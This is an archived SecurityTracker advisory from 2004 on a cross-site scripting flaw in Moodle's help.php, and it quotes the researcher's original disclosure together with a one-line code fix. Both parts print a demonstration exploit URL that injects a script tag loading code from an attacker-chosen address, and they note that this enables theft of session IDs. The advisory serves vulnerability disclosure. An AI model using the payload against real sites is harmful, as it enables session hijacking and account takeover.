SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Forum/Board/Portal)  >   Moodle Vendors:   moodle.org
Moodle Input Validation Bug in 'help.php' Lets Remote Users Conduct Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1010008
SecurityTracker URL:  http://securitytracker.com/id/1010008
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Apr 30 2004
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): prior to 1.3
Description:   An input validation vulnerability was reported in Moodle. A remote user can conduct cross-site scripting attacks.

Bartek Nowotarski (silence) reported that the 'help.php' script does not filter HTML code from user-supplied input before displaying the information.

A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the Moodle software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A demonstration exploit URL is provided:

http://{some_moodle_site}/help.php?text=<script src={url_to_script_to_execute}></script>

According to the report, scripting code in the '{url_to_script_to_execute}' will be executed on the target user's system.

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Moodle software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   The vendor has released a fixed development version (1.3), available at:

http://moodle.org/mod/resource/view.php?id=8

Vendor URL:  www.moodle.org/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Cross Site Scripting in Moodle < 1.3





                      Cross Site Scripting in Moodle < 1.3
		      ====================================
		                  2004-04-30

[01] Author:
~~~~~~~~~~~~
author:   Bartek Nowotarski (silence)
location: Trzebinia, Poland
mail:     silence10(at)wp(dot)pl
site:     silence(dot)0(dot)pl

[02] Discussion:
~~~~~~~~~~~~~~~~
"Moodle is a course management system (CMS) - a software package designed to
help educators create quality online courses. Such e-learning systems are
sometimes also called Learning Management Systems (LMS) or Virtual Learning
Environments (VLE)." www.moodle.org
It has over 1000 *register* sites in 75 countries.

Project home site: http://www.moodle.org

[03] Bug:
~~~~~~~~~
It is possible to execute any HTML/javascript command in help.php file by
requesting:
------------------------------------------
http://{some_moodle_site}/help.php?text=&lt;script
src={url_to_script_to_execute}>&lt;/script&gt;
------------------------------------------
A code in {url_to_script_to_execute} will be executed.
Bug enables to get users' session id's by writing a special script and use it
to login as any user.

[04] Solution:
~~~~~~~~~~~~~~
a) This bug have been fixed in version 1.3.
b) For version 1.2 replace line 75:
    --------------------------------
75| echo "$text";
    --------------------------------
with
    --------------------------------
75| echo clean_text($text);
    --------------------------------

[05] Credits:
~~~~~~~~~~~~~
Vulnerability discovered by Bartek Nowotarski (silence). All rights reserved.

[06] Disclaimer:
~~~~~~~~~~~~~~~~
This document and all  the information it contains are provided "as is",
for educational  purposes only,  without  warranty of any kind,  whether
express or implied.

--EOF--

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC